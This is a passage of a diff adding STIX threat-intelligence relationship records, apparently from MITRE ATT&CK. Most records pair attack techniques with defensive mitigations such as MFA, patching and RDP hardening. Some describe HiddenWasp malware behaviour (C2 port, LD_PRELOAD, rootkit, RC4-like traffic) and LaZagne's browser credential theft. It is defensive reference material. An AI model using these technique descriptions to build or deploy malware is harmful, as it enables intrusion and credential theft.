depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:52:51.890Z", + "id": "relationship--267fa35c-7748-40eb-87ba-bddc0c88d643", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-26T19:55:06.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:52:51.891Z", + "id": "relationship--5edeca3e-96aa-45e6-b99b-044e25cb3245", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-26T19:55:06.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Regularly scan the internal network for available services to identify new and potentially vulnerable services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.569Z", + "id": "relationship--16fd4ddb-1ce4-4254-a301-8ac762573a77", + "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "modified": "2019-07-25T19:00:50.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.589Z", + "id": "relationship--e395b033-b699-4360-a436-1daeada439a2", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-25T19:00:50.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.592Z", + "id": "relationship--7d9c5216-da63-4b8f-ade7-a1854e43bd3f", + "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "modified": "2019-07-25T19:00:50.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Minimize permissions and access for service accounts to limit impact of exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.603Z", + "id": "relationship--9ff11dd9-23a1-46d9-913d-c580d45667f2", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-25T19:00:50.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.619Z", + "id": "relationship--474d9df3-c596-4468-877a-85e4ad91ccbb", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-25T19:00:50.585Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.621Z", + "id": "relationship--2627d84f-081d-4b14-9d7d-5a1ca77d5869", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-25T19:00:50.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "source_name": "Wikipedia Control Flow Integrity", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Minimize available services to only those that are necessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.622Z", + "id": "relationship--0694f0b0-c7c1-43c6-8024-17122fda2bc4", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-25T19:00:50.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:56:03.635Z", + "id": "relationship--9492b31f-9275-4ee5-84bd-040cf653a6db", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-25T19:00:50.597Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses port 61061 to communicate with the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:59:46.339Z", + "id": "relationship--97f3d72d-f697-43b9-a597-9accf60121a2", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) downloads a tar compressed archive from a download server to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:59:46.372Z", + "id": "relationship--bf66a7c4-7d72-4769-a96a-83d3363fa7a9", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) adds itself to the LD_PRELOAD path and sets a series of environment variables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:59:46.393Z", + "id": "relationship--e54913ce-ab54-42d6-96a2-65a4eb3295cb", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a rootkit to hook and implement functions on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:05:00.929Z", + "id": "relationship--8a8e30e6-c226-4739-87de-bd98c104d211", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.357Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID} associated with the process-wide security of individual COM applications.\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:19:22.426Z", + "id": "relationship--9fab5f0b-d10e-45e3-ab0f-56cadb7ccae9", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-06-24T14:19:22.426Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "Enable Windows firewall, which prevents DCOM instantiation by default.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:19:22.440Z", + "id": "relationship--47257f80-df2c-4090-9c2b-6ef23eccdbf3", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-06-24T14:19:22.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "Ensure all COM alerts and Protected View are enabled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:19:22.453Z", + "id": "relationship--e9c5a8f9-571e-4c08-88bb-6baca6dad6ea", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-06-24T14:19:22.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "Consider disabling DCOM through Dcomcnfg.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:19:22.455Z", + "id": "relationship--055bd398-635f-45e2-94d2-711af316bed7", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-24T14:19:22.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:20:50.504Z", + "id": "relationship--603d13cd-f6f7-4321-99db-3d3326878de4", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "description": "Restrict write access to logon scripts to specific administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:22:08.049Z", + "id": "relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-24T14:22:08.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:27:52.161Z", + "id": "relationship--4af1337b-478f-43e1-b0b7-07ab53c22a64", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-07-18T16:56:40.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:27:52.179Z", + "id": "relationship--159d35c3-673d-4c42-be26-d53ab11e277e", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T16:56:40.308Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "Ensure that built-in and created local administrator accounts have complex, unique passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T14:27:52.180Z", + "id": "relationship--14fa80e7-9e59-403c-8e1b-ea3145438b48", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T16:56:40.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T15:49:23.522Z", + "id": "relationship--72acaaab-448e-412e-9967-c119c350cdc3", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T16:59:04.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "Ensure that local administrator accounts have complex, unique passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T15:49:23.841Z", + "id": "relationship--44dd2863-7841-43e3-960f-8f6d46709156", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T16:59:04.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T15:55:14.055Z", + "id": "relationship--48925883-c396-49a2-8b1b-2d7220959e2c", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T17:46:12.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:00:49.986Z", + "id": "relationship--65e07f9e-91cd-4b91-8707-83b4ffdb29bd", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-18T17:46:12.353Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:00:49.996Z", + "id": "relationship--bff585a5-6a32-4361-a72c-dfb1f6e6fe3d", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T17:46:12.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Use multi-factor authentication for remote logins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:00:50.000Z", + "id": "relationship--3eb59d14-a07f-493a-8bee-5877c6c1d478", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-18T17:46:12.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Disable the RDP service if it is unnecessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:00:50.009Z", + "id": "relationship--d02e0a35-ab09-49a9-958f-d71fbb1e3e6f", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-18T17:46:12.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:00:50.015Z", + "id": "relationship--0a5b4837-54e4-46e0-80e9-03c39919aec4", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-18T17:46:12.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "Use multi-factor authentication on remote service logons where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:04:41.149Z", + "id": "relationship--a70d8d81-4d88-404c-81f3-c3ddd57d6b69", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-18T17:50:43.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "Disable Autorun if it is unnecessary. Disallow or restrict removable media at an organizational policy level if it is not required for business operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:07:33.575Z", + "id": "relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-18T17:52:28.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:20:44.394Z", + "id": "relationship--3b806ebb-0c5d-4ba8-adf8-b215a59f81b0", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "modified": "2019-06-24T16:21:14.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "Use multi-factor authentication wherever possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:21:04.537Z", + "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-18T16:42:21.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:21:04.539Z", + "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-18T16:42:21.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T16:27:16.770Z", + "id": "relationship--e2748683-077b-4e91-9225-6b29245fdafc", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T17:03:40.649Z", + "object_marking_refs": [ + 